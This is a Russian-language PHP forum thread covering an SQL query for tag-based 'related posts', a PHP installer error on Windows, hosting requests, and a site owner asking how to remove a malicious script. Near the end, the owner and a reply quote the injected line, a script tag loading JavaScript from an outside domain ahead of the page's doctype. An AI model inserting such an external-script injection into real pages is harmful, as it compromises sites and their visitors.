Вход

PHP

Научись общаться с машиной и научи других. Все вопросы связанные с программированием и разработкой программ.

Модератор: AxeL

В авторитете

СообщениеВ авторитете DisKom DisKom 0
Оставил 2642 сообщений с 30 апр 2007
ФР: 12597
19 мая 2011 в 14:23

Может быть ошибся темой, но все же. Вопрос скорее не о самом языке, а о методе реализации.

Суть такая. На сайте к публикациям пользователь вводит метки (теги), как в разных блогах, фото и видео хостингах.
Теперь я хочу к каждой публикации добавить пункт "похожее". Похожее я буду искать по совпадающим тегам. Вот тут и появился тупик в размышлениях. Как быть?
Самое простое, что пришло в голову, брать теги к текущей публикации. Затем рассматривать каждый в отдельности, выбирая из базы id публикаций, к которым принадлежит этот тег. Все эти id вносить в массив. Затем к этому же массиву прибавлять записи остальных тегов. Правда, если попадается запись, которая уже вносилась в массив, то увеличивать её счетчик на один. А в конце просто вывести записи, счетчики которых набрали наибольшие значения.

Рационален ли такой метод?
0
Легенда форума

СообщениеЛегенда форума teran teran 112
Оставил 6659 сообщений с 23 янв 2004
ФР: 147418
19 мая 2011 в 16:38

ну если хочешь сопоставлять по тегам, то иначе как бы и не сделать вроде.

только вот предложенный механизм реализации через попу с выкрутасом (:

допустим у тебя три таблицы: публикации, тэги, таблица связи многие-ко-многим.
[code:1]-- Publications - table (id, title)
-- Tags - table (id, title)
-- PublicationTag - table (pId, tId)[/code:1]

Что тебе нужно сделать - выбрать из таблица связи ид публикаций, у которых теги совпадают с тэгами текущей.
т.е -
1. взять набор тегов текущей записи.
2. выбрать из publicationTag все наборы pID - tID где tID из п.1, исключая исходную текущую публикацию
3. к полученной выборке прибавляем значение заголовка статей и таблицы publications естественно по pID
4. группируем по ид статьи и названию, а количество записей подсчитываем - count
5. сортируем по подсчитанному количеству в порядке убывания

чем и получаем искомый результат.

[code:1]SELECT pt.pId
,p.title
,count(pt.tId) AS ord
FROM PublicationTag AS pt
LEFT JOIN Publication AS p ON (pt.pId = p.id)
WHERE pt.tId in (
SELECT pt.tID
FROM PublicationTag AS pt
WHERE pt.pID = $currentPublicationID
)
AND pt.pId <> $currentPublicationID
GROUP BY pt.pId, p.title
ORDER BY ord DESC[/code:1]

это конечно в случае если у тебя используется база данных (:
0
В авторитете

СообщениеВ авторитете DisKom DisKom 0
Оставил 2642 сообщений с 30 апр 2007
ФР: 12597
19 мая 2011 в 17:58

teran, полностью согласен насчет "реализации через попу с выкрутасом". Просто я очень плохо работаю с базами. Знаю буквально пару основных моментов. Поэтому в голову пришла "реализация через попу с выкрутасом".

Такой вариант меня конечно устраивает. Попробовал. Действительно все заработало.

Но вот возник вопрос. А если я дополнительно хочу сопоставить по названиям, то этот запрос реально расширить? Или в данном случае это уже будет маленький поисковый механизм?
0
Легенда форума

СообщениеЛегенда форума teran teran 112
Оставил 6659 сообщений с 23 янв 2004
ФР: 147418
19 мая 2011 в 18:17

Но вот возник вопрос. А если я дополнительно хочу сопоставить по названиям, то этот запрос реально расширить? Или в данном случае это уже будет маленький поисковый механизм?
смотря что ты под этим имеешь в виду.
если ты хочешь чтобы у тебя были например совпаднения по тэгам, и по частями названия, то тебе надо это как то свести тогда в один список.
но тут сразу возникает вопрос, каким образом ты будешь складывать это в один список.
там где по тегам, у тебя считается количество совпадений тегов.
здесь же если по названию ты тоже должен как то выставлять оценку некоторую.
дальше прийдется както сливать эти две оценки в один список.

т.е в общем нужные какие то вычисления и одним запросом тут врядли можно обойтись
0

Сообщение Гость 3 июля 2011 в 21:30

Ребята, будьте добры, подскажите, пожалуйста:

запускаю на Windows 7 x64 установочный файл php-5.2.17-Win32-VC6-x86.msi, скачанный с офсайта; в процессе установки возникает ошибка: "a network error occurred while attempting to read from the file: C:\Windows\Installer\php-5.3.5-Win32-VC6-x86.msi"
Что странно, дистрибутив php-5.2.17, а в ошибке фигурирует php-5.3.5.

Помогите, пожалуйста, что делать? Попробовал гуглить, ничего не нашёл по теме...

0

Сообщениеидиотъ daggert daggert 9
Оставил 11178 сообщений с 22 окт 2005
Блог: Просмотр блога (1)
ФР: 126490
WWW
4 июля 2011 в 01:05

Гость, у тебя версии 5.3.5 не стояло? Был помню косяк с инсталяторами (отчего я от них и отказался), когда для установки новой версии надо было удалить старую, а старая удалялась только при наличии своего дистриба (!). Попробуй скачай php-5.3.5ххх и брось в папку которую он указал.
0

Сообщение Гость 4 июля 2011 в 01:28

daggert, спасибо, что откликнулся. Радует, что находятся адекватные люди, кому не в лом прочитать чужую проблему и дать дельный совет.

Опытно-экспериментальным путём уже догадался о том же, о чём ты советуешь. То есть скачал 5.3.5, запустил установку, выбрал remove - что-то удалилось. о_О И 5.2.17 встал корректно.

Я когда-то, весной что ли, устанавливал 5.3.5, но папки PHP как таковой не наблюдалось у меня нигде. ) Видимо, куда-то не в ту степь устанавливал. В общем, теперь всё хорошо.

daggert, ещё раз спасибо за отклик. Удачи!
0

Сообщение Гость 24 июля 2011 в 19:13

Добрый день, добрые люди, мне необходимо создать область для рисования на сайте, как лучше и проще это сделать?
0

Сообщениеидиотъ daggert daggert 9
Оставил 11178 сообщений с 22 окт 2005
Блог: Просмотр блога (1)
ФР: 126490
WWW
24 июля 2011 в 23:14

Гость, флешем.
0

Сообщение Гость 10 августа 2011 в 19:17

Подскажите пожалуйста хостинг с PHP, бесплатный, без рекламы, ну и места чтоб не менее метров 20 и чтоб завтра на издох (сайт не коммерческий)...
Вообщем приятный во всех отношениях :)
В поисковике понятно есть, но хотелось бы про личный опыт использования...
Спасибо
0

СообщениеНовичок vitalxz vitalxz 0
Оставил 2 сообщений с 06 авг 2011
ФР: 11
12 августа 2011 в 17:29

Друзья,привет! Нужна помощь.
Мне на сайт вирус сунули ,скрипт и из за него сайт грузится пол дня,зашёл на главную страницу своего сайта и нажал посмотреть исходный код страницы :

<!-- --><script src="http://microsprogram.com/editpage.js"></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Самый лучший сайт! </title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251">
<META HTTP-EQUIV="EXPIRES" CONTENT="0">
<META NAME="RESOURCE-TYPE" CONTENT="DOCUMENT">
<META NAME="DISTRIBUTION" CONTENT="GLOBAL">
<META NAME="AUTHOR" CONTENT="Самый лучший сайт!">
<META NAME="COPYRIGHT" CONTENT="Copyright (c) by Самый лучший сайт!">
<META NAME="KEYWORDS" CONTENT="News, news, New, new, Technology,

Вот этот скрипт <!-- --><script src="http://microsprogram.com/editpage.js"></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

Как мне его удалить? Где он находится,в каком файле или папке?Весь сайт уже перелопатил))) Помогите пожалуйста!
0

Сообщение Гость 12 августа 2011 в 20:05

vitalxz, тут телепатов нет. В большинстве своем сайт либо состоит из статических html-страниц, либо прикручен к какой-либо cms. А ты лучше ссылку кинь на сайт
0

СообщениеНовичок g00dluck g00dluck 0
Оставил 6 сообщений с 26 ноя 2009
ФР: 167
13 августа 2011 в 00:36

vitalxz писал(а):Друзья,привет! Нужна помощь.
Мне на сайт вирус сунули ,скрипт и из за него сайт грузится пол дня,зашёл на главную страницу своего сайта и нажал посмотреть исходный код страницы :

<!-- --><script src="http://microsprogram.com/editpage.js"></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Самый лучший сайт! </title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251">
<META HTTP-EQUIV="EXPIRES" CONTENT="0">
<META NAME="RESOURCE-TYPE" CONTENT="DOCUMENT">
<META NAME="DISTRIBUTION" CONTENT="GLOBAL">
<META NAME="AUTHOR" CONTENT="Самый лучший сайт!">
<META NAME="COPYRIGHT" CONTENT="Copyright (c) by Самый лучший сайт!">
<META NAME="KEYWORDS" CONTENT="News, news, New, new, Technology,

Вот этот скрипт <!-- --><script src="http://microsprogram.com/editpage.js"></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

Как мне его удалить? Где он находится,в каком файле или папке?Весь сайт уже перелопатил))) Помогите пожалуйста!


было такое.
http://forum.searchengines.ru/showthread.php?t=649491
0



Кто сейчас на форуме

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 2